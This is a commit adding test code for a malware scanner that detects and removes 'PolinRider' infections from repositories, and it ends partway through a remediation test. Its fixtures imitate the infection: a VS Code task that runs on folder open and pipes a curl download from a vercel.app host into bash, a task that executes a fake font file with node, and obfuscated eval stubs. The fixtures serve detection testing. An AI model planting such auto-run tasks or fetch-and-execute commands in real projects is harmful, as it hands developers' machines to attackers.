Add initial implementation of PolinRider malware scanner
- Introduced core files including Dockerfile, action.yml, and entry point script (bin/polinrider.js) for the PolinRider malware scanner. - Created configuration files: .env.example, .gitignore, and .npmrc for environment setup and dependency management. - Added CI workflows for testing, building, and releasing the action, along with examples for usage in GitHub Actions. - Implemented a README.md to provide documentation on usage, features, and setup instructions. - Included necessary scripts for building the action and handling security measures during execution. - Established a structured directory for reports and workspace management within Docker. - Ensured all files are set up for a secure and efficient scanning process of GitHub repositories for PolinRider malware.
This commit is contained in:
@@ -0,0 +1,19 @@
|
||||
// Probe run in a child process so the safety guards don't pollute the main test
|
||||
// runner. Importing safety.js installs the guards as a side effect. Exits 0 only
|
||||
// if every escape hatch is blocked.
|
||||
import "../src/safety.js";
|
||||
import assert from "node:assert/strict";
|
||||
import { createRequire } from "node:module";
|
||||
|
||||
const require = createRequire(import.meta.url);
|
||||
|
||||
assert.throws(() => globalThis.eval("1+1"), /disabled|disallow/i, "direct eval not blocked");
|
||||
const indirect = eval;
|
||||
assert.throws(() => indirect("1+1"), "indirect eval not blocked");
|
||||
assert.throws(() => new Function("return 1"), "Function constructor not blocked");
|
||||
assert.throws(() => function () {}.constructor("return 1"), "fn.constructor not blocked");
|
||||
assert.throws(() => require("node:vm"), "require(node:vm) not blocked");
|
||||
assert.throws(() => require("vm"), "require(vm) not blocked");
|
||||
assert.throws(() => process.binding("spawn_sync"), "process.binding not blocked");
|
||||
|
||||
console.log("safety-probe OK");
|
||||
+236
@@ -0,0 +1,236 @@
|
||||
/**
|
||||
* Tests for the GitHub Action frontend (src/ci.js). Exercises input parsing,
|
||||
* exit-code policy, reporting, and the SARIF builder against real fixtures.
|
||||
* The git/gh-dependent paths (fix+commit, pr mode) are validated by the
|
||||
* integration workflow, not here.
|
||||
*/
|
||||
import { test, after, beforeEach } from "node:test";
|
||||
import assert from "node:assert/strict";
|
||||
import fs from "node:fs";
|
||||
import path from "node:path";
|
||||
import { run, resolveSettings, failThreshold, buildSummary } from "../src/ci.js";
|
||||
import { buildSarif } from "../src/sarif.js";
|
||||
import { scanRepo } from "../src/scanner.js";
|
||||
import {
|
||||
makeRepo,
|
||||
mkTmpDir,
|
||||
cleanupAll,
|
||||
LEGIT_CONFIG,
|
||||
INFECTED_TASKS,
|
||||
ORIGINAL_PAYLOAD,
|
||||
GENERIC_PAYLOAD,
|
||||
infectedConfig,
|
||||
} from "./helpers.js";
|
||||
|
||||
after(cleanupAll);
|
||||
|
||||
// Every env key run() / resolveSettings() may read — cleared between tests so
|
||||
// values can't leak across cases.
|
||||
const MANAGED = [
|
||||
"GITHUB_WORKSPACE", "GITHUB_OUTPUT", "GITHUB_STEP_SUMMARY", "GITHUB_EVENT_NAME",
|
||||
"GITHUB_EVENT_PATH", "GITHUB_REPOSITORY", "GITHUB_REF_NAME",
|
||||
"DRY_RUN", "AUTO_MERGE", "MERGE_METHOD", "BRANCH_PREFIX", "GH_TOKEN", "GITHUB_TOKEN", "SARIF_FILE",
|
||||
];
|
||||
function clearEnv() {
|
||||
for (const k of Object.keys(process.env)) if (k.startsWith("INPUT_")) delete process.env[k];
|
||||
for (const k of MANAGED) delete process.env[k];
|
||||
}
|
||||
beforeEach(clearEnv);
|
||||
after(clearEnv);
|
||||
|
||||
/** Set INPUT_* env from a {name: value} map (GitHub Actions convention). */
|
||||
function setInputs(inputs) {
|
||||
for (const [k, v] of Object.entries(inputs)) {
|
||||
process.env[`INPUT_${k.replace(/ /g, "_").toUpperCase()}`] = String(v);
|
||||
}
|
||||
}
|
||||
|
||||
/** Run the action against a workspace dir; returns { code, outputs, summary }. */
|
||||
async function runAction(workspace, inputs = {}, extraEnv = {}) {
|
||||
const io = mkTmpDir("ci-io-");
|
||||
const outFile = path.join(io, "out");
|
||||
const sumFile = path.join(io, "sum");
|
||||
fs.writeFileSync(outFile, "");
|
||||
fs.writeFileSync(sumFile, "");
|
||||
process.env.GITHUB_WORKSPACE = workspace;
|
||||
process.env.GITHUB_OUTPUT = outFile;
|
||||
process.env.GITHUB_STEP_SUMMARY = sumFile;
|
||||
Object.assign(process.env, extraEnv);
|
||||
setInputs(inputs);
|
||||
|
||||
const code = await run();
|
||||
|
||||
const outputs = Object.fromEntries(
|
||||
fs.readFileSync(outFile, "utf8").split("\n").filter(Boolean).map((l) => {
|
||||
const i = l.indexOf("=");
|
||||
return [l.slice(0, i), l.slice(i + 1)];
|
||||
}),
|
||||
);
|
||||
return { code, outputs, summary: fs.readFileSync(sumFile, "utf8") };
|
||||
}
|
||||
|
||||
const INFECTED_FILES = {
|
||||
"App.js": infectedConfig(ORIGINAL_PAYLOAD),
|
||||
".vscode/tasks.json": INFECTED_TASKS,
|
||||
"config.bat": "",
|
||||
};
|
||||
|
||||
// ─── resolveSettings ───────────────────────────────────────────────────────────
|
||||
|
||||
test("resolveSettings: defaults", () => {
|
||||
const s = resolveSettings();
|
||||
assert.equal(s.mode, "check");
|
||||
assert.equal(s.scanPath, ".");
|
||||
assert.equal(s.failOn, "infected");
|
||||
assert.equal(s.commit, false);
|
||||
assert.equal(s.commentOnPr, true);
|
||||
assert.equal(s.mergeMethod, "squash");
|
||||
assert.equal(s.branchPrefix, "fix/polinrider-cleanup");
|
||||
});
|
||||
|
||||
test("resolveSettings: INPUT_* parsing incl. hyphenated names", () => {
|
||||
setInputs({ mode: "FIX", "fail-on": "Suspicious", commit: "true", "comment-on-pr": "false", "merge-method": "REBASE" });
|
||||
const s = resolveSettings();
|
||||
assert.equal(s.mode, "fix");
|
||||
assert.equal(s.failOn, "suspicious");
|
||||
assert.equal(s.commit, true);
|
||||
assert.equal(s.commentOnPr, false);
|
||||
assert.equal(s.mergeMethod, "rebase");
|
||||
});
|
||||
|
||||
test("resolveSettings: legacy env fallback + INPUT precedence", () => {
|
||||
process.env.DRY_RUN = "true";
|
||||
process.env.AUTO_MERGE = "true";
|
||||
process.env.GH_TOKEN = "legacy-token";
|
||||
let s = resolveSettings();
|
||||
assert.equal(s.dryRun, true);
|
||||
assert.equal(s.autoMerge, true);
|
||||
assert.equal(s.token, "legacy-token");
|
||||
// An explicit input wins over the token env var.
|
||||
setInputs({ token: "input-token" });
|
||||
s = resolveSettings();
|
||||
assert.equal(s.token, "input-token");
|
||||
});
|
||||
|
||||
// ─── failThreshold ─────────────────────────────────────────────────────────────
|
||||
|
||||
test("failThreshold ranks", () => {
|
||||
assert.equal(failThreshold("never"), Infinity);
|
||||
assert.equal(failThreshold("suspicious"), 1);
|
||||
assert.equal(failThreshold("infected"), 2);
|
||||
assert.equal(failThreshold("anything-else"), 2);
|
||||
});
|
||||
|
||||
// ─── check mode exit codes ─────────────────────────────────────────────────────
|
||||
|
||||
test("check: infected → exit 1 + outputs", async () => {
|
||||
const repo = await makeRepo(INFECTED_FILES);
|
||||
const { code, outputs, summary } = await runAction(repo, { mode: "check" });
|
||||
assert.equal(code, 1);
|
||||
assert.equal(outputs.severity, "infected");
|
||||
assert.equal(outputs.infected, "true");
|
||||
assert.equal(outputs["findings-count"], "3");
|
||||
assert.equal(outputs.changed, "false");
|
||||
assert.match(summary, /PolinRider Malware Scan/);
|
||||
assert.match(summary, /infected/);
|
||||
});
|
||||
|
||||
test("check: clean → exit 0", async () => {
|
||||
const repo = await makeRepo({ "postcss.config.js": LEGIT_CONFIG });
|
||||
const { code, outputs } = await runAction(repo, { mode: "check" });
|
||||
assert.equal(code, 0);
|
||||
assert.equal(outputs.severity, "clean");
|
||||
assert.equal(outputs.infected, "false");
|
||||
});
|
||||
|
||||
test("check: fail-on=never never fails, even when infected", async () => {
|
||||
const repo = await makeRepo(INFECTED_FILES);
|
||||
const { code, outputs } = await runAction(repo, { mode: "check", "fail-on": "never" });
|
||||
assert.equal(code, 0);
|
||||
assert.equal(outputs.infected, "true");
|
||||
});
|
||||
|
||||
test("check: exclude skips flagged files", async () => {
|
||||
// A vendored copy that legitimately carries a signature would false-positive;
|
||||
// excluding it makes the scan clean, while a real infection elsewhere still fails.
|
||||
const repo = await makeRepo({
|
||||
"vendor/sig-sample.js": infectedConfig(ORIGINAL_PAYLOAD),
|
||||
});
|
||||
const withoutExclude = await runAction(repo, { mode: "check" });
|
||||
assert.equal(withoutExclude.code, 1);
|
||||
assert.equal(withoutExclude.outputs.severity, "infected");
|
||||
|
||||
const withExclude = await runAction(repo, { mode: "check", exclude: "vendor/**" });
|
||||
assert.equal(withExclude.code, 0);
|
||||
assert.equal(withExclude.outputs.severity, "clean");
|
||||
});
|
||||
|
||||
test("check: suspicious repo fails only at fail-on=suspicious", async () => {
|
||||
const repo = await makeRepo({ "weird.js": `export const x = 1;\n${GENERIC_PAYLOAD}` });
|
||||
const def = await runAction(repo, { mode: "check" }); // fail-on=infected
|
||||
assert.equal(def.outputs.severity, "suspicious");
|
||||
assert.equal(def.code, 0);
|
||||
const strict = await runAction(repo, { mode: "check", "fail-on": "suspicious" });
|
||||
assert.equal(strict.code, 1);
|
||||
});
|
||||
|
||||
// ─── fix mode (no commit) ──────────────────────────────────────────────────────
|
||||
|
||||
test("fix: cleans the working tree, exit 0, re-scan clean", async () => {
|
||||
const repo = await makeRepo(INFECTED_FILES);
|
||||
const { code, outputs } = await runAction(repo, { mode: "fix" });
|
||||
assert.equal(code, 0);
|
||||
assert.equal(outputs.changed, "true");
|
||||
assert.equal(outputs.remediated, "true");
|
||||
// Payload stripped, legit config kept; malware artifacts gone.
|
||||
assert.match(fs.readFileSync(path.join(repo, "App.js"), "utf8"), /tailwindcss/);
|
||||
assert.ok(!fs.existsSync(path.join(repo, ".vscode")));
|
||||
assert.ok(!fs.existsSync(path.join(repo, "config.bat")));
|
||||
const rescan = await scanRepo(repo);
|
||||
assert.equal(rescan.severity, "clean");
|
||||
});
|
||||
|
||||
test("fix: confirmed-but-manual-review item leaves exit 1", async () => {
|
||||
// An impostor dep is content-confirmed but action=manual-review — fix can't
|
||||
// auto-remove it, so the check must still fail. (Note: remediate also runs
|
||||
// .gitignore hygiene, so `changed` may be true; the contract under test is the
|
||||
// exit code and that the impostor dep is NOT silently stripped.)
|
||||
const repo = await makeRepo({
|
||||
"package.json": JSON.stringify({ name: "x", dependencies: { "tailwindcss-style-animate": "^1.0.0" } }),
|
||||
});
|
||||
const { code, outputs } = await runAction(repo, { mode: "fix" });
|
||||
assert.equal(outputs.severity, "infected");
|
||||
assert.equal(code, 1); // unresolved confirmed item → fail
|
||||
assert.match(fs.readFileSync(path.join(repo, "package.json"), "utf8"), /tailwindcss-style-animate/);
|
||||
});
|
||||
|
||||
// ─── SARIF ─────────────────────────────────────────────────────────────────────
|
||||
|
||||
test("buildSarif: shape + js-payload line from offset", async () => {
|
||||
const repo = await makeRepo(INFECTED_FILES);
|
||||
const findings = await scanRepo(repo);
|
||||
const sarif = buildSarif(findings, { repoRoot: repo, repoDir: repo });
|
||||
assert.equal(sarif.version, "2.1.0");
|
||||
const driver = sarif.runs[0].tool.driver;
|
||||
assert.equal(driver.name, "polinrider-cleanup");
|
||||
assert.equal(sarif.runs[0].results.length, findings.findings.length);
|
||||
const js = sarif.runs[0].results.find((r) => r.ruleId.startsWith("js.payload"));
|
||||
assert.equal(js.level, "error");
|
||||
assert.equal(js.locations[0].physicalLocation.artifactLocation.uri, "App.js");
|
||||
assert.equal(js.locations[0].physicalLocation.region.startLine, 5);
|
||||
});
|
||||
|
||||
// ─── buildSummary ──────────────────────────────────────────────────────────────
|
||||
|
||||
test("buildSummary: includes remediation section when result present", async () => {
|
||||
const repo = await makeRepo(INFECTED_FILES);
|
||||
const findings = await scanRepo(repo);
|
||||
const md = buildSummary({
|
||||
settings: { mode: "fix", dryRun: false },
|
||||
findings,
|
||||
result: { dryRun: false, applied: [], notes: ["did a thing"], skipped: [], filesModified: [], filesDeleted: [] },
|
||||
});
|
||||
assert.match(md, /### Findings/);
|
||||
assert.match(md, /### Remediation/);
|
||||
assert.match(md, /did a thing/);
|
||||
});
|
||||
@@ -0,0 +1,57 @@
|
||||
import { test } from "node:test";
|
||||
import assert from "node:assert/strict";
|
||||
import { buildExcluder } from "../src/exclude.js";
|
||||
|
||||
test("empty patterns → nothing excluded", () => {
|
||||
const ex = buildExcluder("");
|
||||
assert.equal(ex("anything.js"), false);
|
||||
assert.equal(buildExcluder([])("a/b.js"), false);
|
||||
assert.equal(buildExcluder(undefined)("a/b.js"), false);
|
||||
});
|
||||
|
||||
test("exact file match", () => {
|
||||
const ex = buildExcluder(["src/signatures.js"]);
|
||||
assert.equal(ex("src/signatures.js"), true);
|
||||
assert.equal(ex("src/scanner.js"), false);
|
||||
assert.equal(ex("other/src/signatures.js"), false);
|
||||
});
|
||||
|
||||
test("bare directory matches everything under it", () => {
|
||||
const ex = buildExcluder(["dist"]);
|
||||
assert.equal(ex("dist"), true);
|
||||
assert.equal(ex("dist/ci.mjs"), true);
|
||||
assert.equal(ex("dist/nested/x.js"), true);
|
||||
assert.equal(ex("distinct.js"), false); // prefix must be a path boundary
|
||||
});
|
||||
|
||||
test("trailing slash and ** behave like a directory", () => {
|
||||
for (const pat of ["test/", "test/**"]) {
|
||||
const ex = buildExcluder([pat]);
|
||||
assert.equal(ex("test/helpers.js"), true, pat);
|
||||
assert.equal(ex("test/sub/a.js"), true, pat);
|
||||
assert.equal(ex("tests.js"), false, pat);
|
||||
}
|
||||
});
|
||||
|
||||
test("single * stays within a path segment", () => {
|
||||
const ex = buildExcluder(["*.min.js"]);
|
||||
assert.equal(ex("app.min.js"), true);
|
||||
assert.equal(ex("vendor/app.min.js"), false); // * does not cross "/"
|
||||
assert.equal(buildExcluder(["vendor/*.js"])("vendor/a.js"), true);
|
||||
assert.equal(buildExcluder(["vendor/*.js"])("vendor/sub/a.js"), false);
|
||||
});
|
||||
|
||||
test("comma/newline separated string + whitespace", () => {
|
||||
const ex = buildExcluder("src/signatures.js, test/** \n dist/**");
|
||||
assert.equal(ex("src/signatures.js"), true);
|
||||
assert.equal(ex("test/helpers.js"), true);
|
||||
assert.equal(ex("dist/ci.mjs"), true);
|
||||
assert.equal(ex("src/scanner.js"), false);
|
||||
});
|
||||
|
||||
test("** crosses path segments", () => {
|
||||
const ex = buildExcluder(["**/fixtures/**"]);
|
||||
assert.equal(ex("a/b/fixtures/c.js"), true);
|
||||
assert.equal(ex("fixtures/c.js"), false); // leading **/ requires a segment before
|
||||
assert.equal(buildExcluder(["**/fixtures/**", "fixtures/**"])("fixtures/c.js"), true);
|
||||
});
|
||||
@@ -0,0 +1,67 @@
|
||||
import { test, after } from "node:test";
|
||||
import assert from "node:assert/strict";
|
||||
import { readMagic, parseFontStructure, looksSuspicious, collectFontReferences, isReferenced } from "../src/fonts.js";
|
||||
import { makeRepo, goodFont, evilFont, validSfnt, validWoff2, REAL_FONT_STRINGS, cleanupAll } from "./helpers.js";
|
||||
|
||||
after(cleanupAll);
|
||||
|
||||
test("readMagic recognizes common font formats", () => {
|
||||
assert.equal(readMagic(Buffer.from("wOF2....")), "woff2");
|
||||
assert.equal(readMagic(Buffer.from("wOFF....")), "woff");
|
||||
assert.equal(readMagic(Buffer.from("OTTO....")), "otf");
|
||||
assert.equal(readMagic(Buffer.from([0x00, 0x01, 0x00, 0x00, 0x00])), "ttf");
|
||||
assert.equal(readMagic(Buffer.from("nope....")), "unknown");
|
||||
});
|
||||
|
||||
test("parseFontStructure accepts a well-formed sfnt and woff2", () => {
|
||||
assert.equal(parseFontStructure(validSfnt()).valid, true);
|
||||
assert.equal(parseFontStructure(validWoff2()).valid, true);
|
||||
});
|
||||
|
||||
test("parseFontStructure rejects unknown magic and malformed headers", () => {
|
||||
assert.equal(parseFontStructure(Buffer.from("global['!']=1;")).valid, false);
|
||||
// wOF2 magic but a declared length that doesn't match the byte length:
|
||||
const badWoff2 = Buffer.concat([Buffer.from("wOF2", "latin1"), Buffer.alloc(256, 0x10)]);
|
||||
assert.equal(parseFontStructure(badWoff2).valid, false);
|
||||
// OTTO magic but a table directory that runs past EOF:
|
||||
const badSfnt = Buffer.alloc(16);
|
||||
badSfnt.write("OTTO", 0, "latin1");
|
||||
badSfnt.writeUInt16BE(50, 4); // 50 tables can't fit in 16 bytes
|
||||
assert.equal(parseFontStructure(badSfnt).valid, false);
|
||||
});
|
||||
|
||||
test("looksSuspicious flags a fake font with a JS payload as a confirmed carrier", () => {
|
||||
const r = looksSuspicious(evilFont(), ".woff2");
|
||||
assert.equal(r.bad, true);
|
||||
assert.equal(r.hasCodeStrings, true);
|
||||
assert.ok(r.reasons.length >= 1);
|
||||
});
|
||||
|
||||
test("looksSuspicious passes a valid, inert font", () => {
|
||||
const r = looksSuspicious(goodFont(), ".woff2");
|
||||
assert.equal(r.bad, false, JSON.stringify(r.reasons));
|
||||
});
|
||||
|
||||
test("looksSuspicious does NOT flag a real font that embeds a license URL + base64-like run", () => {
|
||||
// Regression: a genuine .otf (valid OTTO structure) whose name table holds a
|
||||
// vendor URL, plus binary glyph data that looks base64-ish, must stay clean.
|
||||
const r = looksSuspicious(validSfnt(REAL_FONT_STRINGS), ".otf");
|
||||
assert.equal(r.bad, false, JSON.stringify(r.reasons));
|
||||
assert.equal(r.hasCodeStrings, false);
|
||||
});
|
||||
|
||||
test("looksSuspicious does not flag .eot solely for missing magic", () => {
|
||||
const eot = Buffer.alloc(64, 0x00); // no recognizable magic, but inert
|
||||
assert.equal(looksSuspicious(eot, ".eot").bad, false);
|
||||
});
|
||||
|
||||
test("collectFontReferences + isReferenced detect a referenced font", async () => {
|
||||
const repo = await makeRepo({
|
||||
"public/fonts/inter.woff2": goodFont(),
|
||||
"src/styles.css": `@font-face{font-family:Inter;src:url('/fonts/inter.woff2') format('woff2');}`,
|
||||
"public/fonts/orphan.woff2": goodFont(),
|
||||
});
|
||||
const hay = await collectFontReferences(repo);
|
||||
assert.equal(isReferenced(hay, "public/fonts/inter.woff2"), true);
|
||||
assert.equal(isReferenced(hay, "public/fonts/orphan.woff2"), false);
|
||||
});
|
||||
+171
@@ -0,0 +1,171 @@
|
||||
/**
|
||||
* Test helpers: build throwaway repo trees in the OS temp dir, plus realistic
|
||||
* payload/font fixtures derived from the real signatures.
|
||||
*/
|
||||
import os from "node:os";
|
||||
import path from "node:path";
|
||||
import fs from "node:fs";
|
||||
import fsp from "node:fs/promises";
|
||||
|
||||
const created = [];
|
||||
|
||||
/** Create a unique temp directory; auto-cleaned by cleanupAll(). */
|
||||
export function mkTmpDir(prefix = "polin-test-") {
|
||||
const dir = fs.mkdtempSync(path.join(os.tmpdir(), prefix));
|
||||
created.push(dir);
|
||||
return dir;
|
||||
}
|
||||
|
||||
/**
|
||||
* Write a map of { relativePath: string | Buffer } into `dir`.
|
||||
* @returns {Promise<string>} dir
|
||||
*/
|
||||
export async function writeFiles(dir, files) {
|
||||
for (const [rel, content] of Object.entries(files)) {
|
||||
const full = path.join(dir, rel);
|
||||
await fsp.mkdir(path.dirname(full), { recursive: true });
|
||||
await fsp.writeFile(full, content);
|
||||
}
|
||||
return dir;
|
||||
}
|
||||
|
||||
/** Build a repo in a fresh temp dir from a file map. */
|
||||
export async function makeRepo(files) {
|
||||
return writeFiles(mkTmpDir(), files);
|
||||
}
|
||||
|
||||
export function cleanupAll() {
|
||||
for (const d of created.splice(0)) {
|
||||
try {
|
||||
fs.rmSync(d, { recursive: true, force: true });
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ─── Realistic payload fixtures (match src/signatures.js) ───────────────────────
|
||||
|
||||
export const LEGIT_CONFIG = `export default {\n plugins: { tailwindcss: {}, autoprefixer: {} },\n};\n`;
|
||||
|
||||
export const ORIGINAL_PAYLOAD =
|
||||
`global['!']='8-270-2';var _$_1e42=["rmcej%otb%",2857687,2667686];` +
|
||||
`eval(String.fromCharCode(49,43,49));\n`;
|
||||
|
||||
export const ROTATED_PAYLOAD =
|
||||
`global['_V']='8-991';var MDy=["Cot%3t=shtP",1111436,3896884];` +
|
||||
`eval(String.fromCharCode(49,43,49));\n`;
|
||||
|
||||
// Looks like an appended obfuscated blob but matches no KNOWN signature/seed.
|
||||
export const GENERIC_PAYLOAD =
|
||||
`global['zz']=42;var _$_abcd=[12,34,56,78,90];eval(atob('MSt1'));\n`;
|
||||
|
||||
export function infectedConfig(payload) {
|
||||
return LEGIT_CONFIG + "\n" + payload;
|
||||
}
|
||||
|
||||
// ─── Font fixtures ──────────────────────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Structurally valid WOFF2: correct magic, a declared length that matches the
|
||||
* actual byte length, and a non-zero table count. Inert padding.
|
||||
*/
|
||||
export function validWoff2(size = 64) {
|
||||
const buf = Buffer.alloc(Math.max(size, 16), 0x00);
|
||||
buf.write("wOF2", 0, "latin1");
|
||||
buf.writeUInt32BE(0x4f54544f, 4); // flavor: OTTO
|
||||
buf.writeUInt32BE(buf.length, 8); // total length == file size
|
||||
buf.writeUInt16BE(4, 12); // numTables (non-zero)
|
||||
return buf;
|
||||
}
|
||||
|
||||
/**
|
||||
* Structurally valid OTTO sfnt with a single in-bounds table whose bytes embed
|
||||
* `extra` text. Used to prove that a genuine font is NOT flagged even when it
|
||||
* contains a license URL and a long base64-looking run — the exact bytes that
|
||||
* previously produced false positives on real commercial fonts.
|
||||
*/
|
||||
export function validSfnt(extra = "") {
|
||||
const numTables = 1;
|
||||
const dirEnd = 12 + numTables * 16;
|
||||
const body = Buffer.from(extra, "latin1");
|
||||
const buf = Buffer.alloc(dirEnd + body.length, 0x00);
|
||||
buf.write("OTTO", 0, "latin1"); // sfntVersion → otf
|
||||
buf.writeUInt16BE(numTables, 4);
|
||||
buf.write("CFF ", 12, "latin1"); // table tag
|
||||
buf.writeUInt32BE(0, 16); // checksum
|
||||
buf.writeUInt32BE(dirEnd, 20); // table offset (right after the directory)
|
||||
buf.writeUInt32BE(body.length, 24); // table length
|
||||
body.copy(buf, dirEnd);
|
||||
return buf;
|
||||
}
|
||||
|
||||
/** A real-font byte pattern that used to trip the old heuristics: a vendor URL + a long base64-ish run. */
|
||||
export const REAL_FONT_STRINGS =
|
||||
"Copyright. http://www.monotypeimaging.com " + "A".repeat(400);
|
||||
|
||||
/** Structurally valid font (default WOFF2), inert padding (no JS-like strings). */
|
||||
export function goodFont() {
|
||||
return validWoff2(256);
|
||||
}
|
||||
|
||||
/** Fake "font": no font magic + embedded JS payload → confirmed carrier. */
|
||||
export function evilFont() {
|
||||
return Buffer.from(
|
||||
"global['!']='x';var _$_1e42=[1];eval(require('child_process').toString());function(){}",
|
||||
"latin1",
|
||||
);
|
||||
}
|
||||
|
||||
// ─── .vscode fixtures ─────────────────────────────────────────────────────────────
|
||||
|
||||
export const LEGIT_TASKS = `{
|
||||
// Build tasks
|
||||
"version": "2.0.0",
|
||||
"tasks": [
|
||||
{ "label": "build", "type": "shell", "command": "npm run build" },
|
||||
{ "label": "test", "type": "npm", "script": "test" },
|
||||
]
|
||||
}
|
||||
`;
|
||||
|
||||
export const INFECTED_TASKS = `{
|
||||
"version": "2.0.0",
|
||||
"tasks": [
|
||||
{ "label": "build", "type": "shell", "command": "npm run build" },
|
||||
{
|
||||
"label": "[auto]",
|
||||
"type": "shell",
|
||||
"command": "curl -fsSL https://default-configuration.vercel.app/x | bash",
|
||||
"runOptions": { "runOn": "folderOpen" }
|
||||
}
|
||||
]
|
||||
}
|
||||
`;
|
||||
|
||||
export const LEGIT_LAUNCH = `{
|
||||
"version": "0.2.0",
|
||||
"configurations": [
|
||||
{ "type": "node", "request": "launch", "name": "Run", "program": "\${workspaceFolder}/index.js" }
|
||||
]
|
||||
}
|
||||
`;
|
||||
|
||||
// Real-world PolinRider tasks.json: a folderOpen task that runs the payload font
|
||||
// through node (no curl/URL — the old fetch-to-shell detector missed this).
|
||||
export const INFECTED_TASKS_NODE = `{
|
||||
"version": "2.0.0",
|
||||
"configurations": [
|
||||
{ "type": "node", "request": "launch", "name": "Run My Project" }
|
||||
],
|
||||
"tasks": [
|
||||
{
|
||||
"label": "eslint-check",
|
||||
"type": "shell",
|
||||
"command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2)",
|
||||
"isBackground": true,
|
||||
"runOptions": { "runOn": "folderOpen" }
|
||||
}
|
||||
]
|
||||
}
|
||||
`;
|
||||
@@ -0,0 +1,80 @@
|
||||
import { test, after } from "node:test";
|
||||
import assert from "node:assert/strict";
|
||||
import { parseJsonc, getMember, removeArrayElements } from "../src/jsonc.js";
|
||||
import { cleanupAll } from "./helpers.js";
|
||||
|
||||
after(cleanupAll);
|
||||
|
||||
test("parses JSONC with line + block comments and trailing commas", () => {
|
||||
const text = `{
|
||||
// a comment
|
||||
"version": "2.0.0", /* inline */
|
||||
"tasks": [
|
||||
{ "label": "a" },
|
||||
{ "label": "b" }, // trailing comma below
|
||||
],
|
||||
}`;
|
||||
const r = parseJsonc(text);
|
||||
assert.equal(r.ok, true, r.error?.message);
|
||||
assert.equal(r.value.version, "2.0.0");
|
||||
assert.equal(r.value.tasks.length, 2);
|
||||
});
|
||||
|
||||
test("handles a BOM and comment-like sequences inside strings", () => {
|
||||
const text = `{ "url": "http://x/y // not a comment", "n": 1 }`;
|
||||
const r = parseJsonc(text);
|
||||
assert.equal(r.ok, true, r.error?.message);
|
||||
assert.equal(r.value.url, "http://x/y // not a comment");
|
||||
assert.equal(r.value.n, 1);
|
||||
});
|
||||
|
||||
test("reports failure (not throw) on malformed input", () => {
|
||||
const r = parseJsonc(`{ "a": }`);
|
||||
assert.equal(r.ok, false);
|
||||
assert.ok(r.error instanceof Error);
|
||||
});
|
||||
|
||||
test("getMember returns the value node for a key", () => {
|
||||
const r = parseJsonc(`{ "tasks": [1, 2, 3] }`);
|
||||
const node = getMember(r.ast, "tasks");
|
||||
assert.equal(node.type, "array");
|
||||
assert.equal(node.elements.length, 3);
|
||||
});
|
||||
|
||||
test("removeArrayElements deletes the target element and keeps valid JSON", () => {
|
||||
const text = `{
|
||||
"version": "2.0.0",
|
||||
"tasks": [
|
||||
{ "label": "build" },
|
||||
{ "label": "evil" }
|
||||
]
|
||||
}`;
|
||||
const r = parseJsonc(text);
|
||||
const arr = getMember(r.ast, "tasks");
|
||||
const edited = removeArrayElements(text, arr, [1]);
|
||||
const reparsed = parseJsonc(edited);
|
||||
assert.equal(reparsed.ok, true, reparsed.error?.message);
|
||||
assert.equal(reparsed.value.tasks.length, 1);
|
||||
assert.equal(reparsed.value.tasks[0].label, "build");
|
||||
assert.equal(reparsed.value.version, "2.0.0");
|
||||
});
|
||||
|
||||
test("removeArrayElements can remove the first element too", () => {
|
||||
const text = `{ "tasks": [ { "label": "evil" }, { "label": "keep" } ] }`;
|
||||
const r = parseJsonc(text);
|
||||
const arr = getMember(r.ast, "tasks");
|
||||
const edited = removeArrayElements(text, arr, [0]);
|
||||
const reparsed = parseJsonc(edited);
|
||||
assert.equal(reparsed.ok, true, reparsed.error?.message);
|
||||
assert.deepEqual(reparsed.value.tasks.map((t) => t.label), ["keep"]);
|
||||
});
|
||||
|
||||
test("removeArrayElements handles removing adjacent elements", () => {
|
||||
const text = `{ "tasks": [ {"i":0}, {"i":1}, {"i":2}, {"i":3} ] }`;
|
||||
const r = parseJsonc(text);
|
||||
const arr = getMember(r.ast, "tasks");
|
||||
const edited = removeArrayElements(text, arr, [1, 2]);
|
||||
const reparsed = parseJsonc(edited);
|
||||
assert.equal(reparsed.ok, true, reparsed.error?.message);
|
||||
assert.deepEqual(reparsed.value.tasks.map((t) => t.i), [0, 3]);
|
||||
});
|
||||
@@ -0,0 +1,136 @@
|
||||
import { test, after } from "node:test";
|
||||
import assert from "node:assert/strict";
|
||||
import fs from "node:fs/promises";
|
||||
import { existsSync } from "node:fs";
|
||||
import path from "node:path";
|
||||
import { scanRepo } from "../src/scanner.js";
|
||||
import { remediate } from "../src/remediator.js";
|
||||
import {
|
||||
makeRepo,
|
||||
cleanupAll,
|
||||
LEGIT_CONFIG,
|
||||
INFECTED_TASKS_NODE,
|
||||
ORIGINAL_PAYLOAD,
|
||||
ROTATED_PAYLOAD,
|
||||
infectedConfig,
|
||||
goodFont,
|
||||
evilFont,
|
||||
} from "./helpers.js";
|
||||
|
||||
after(cleanupAll);
|
||||
|
||||
// git not needed for these (no .git dir) — stub returns "not tracked".
|
||||
const noGit = async () => ({ exitCode: 1, stdout: "", stderr: "" });
|
||||
|
||||
test("strips original payload, leaving the legit config byte-identical", async () => {
|
||||
const repo = await makeRepo({ "postcss.config.mjs": infectedConfig(ORIGINAL_PAYLOAD) });
|
||||
const findings = await scanRepo(repo);
|
||||
const result = await remediate(repo, findings, { git: noGit });
|
||||
assert.equal(result.changed, true);
|
||||
const out = await fs.readFile(path.join(repo, "postcss.config.mjs"), "utf8");
|
||||
assert.ok(!out.includes("rmcej%otb%"), "payload signature should be gone");
|
||||
assert.ok(!out.includes("global['!']"), "payload start should be gone");
|
||||
assert.equal(out, LEGIT_CONFIG.replace(/\s+$/, "") + "\n", "legit config preserved verbatim");
|
||||
});
|
||||
|
||||
test("strips rotated payload", async () => {
|
||||
const repo = await makeRepo({ "tailwind.config.js": infectedConfig(ROTATED_PAYLOAD) });
|
||||
const findings = await scanRepo(repo);
|
||||
await remediate(repo, findings, { git: noGit });
|
||||
const out = await fs.readFile(path.join(repo, "tailwind.config.js"), "utf8");
|
||||
assert.ok(!out.includes("Cot%3t=shtP"));
|
||||
assert.ok(!out.includes("global['_V']"));
|
||||
});
|
||||
|
||||
test("removes the entire .vscode directory when a malicious task is found", async () => {
|
||||
const repo = await makeRepo({
|
||||
".vscode/tasks.json": INFECTED_TASKS_NODE,
|
||||
".vscode/settings.json": `{ "editor.tabSize": 2 }`,
|
||||
});
|
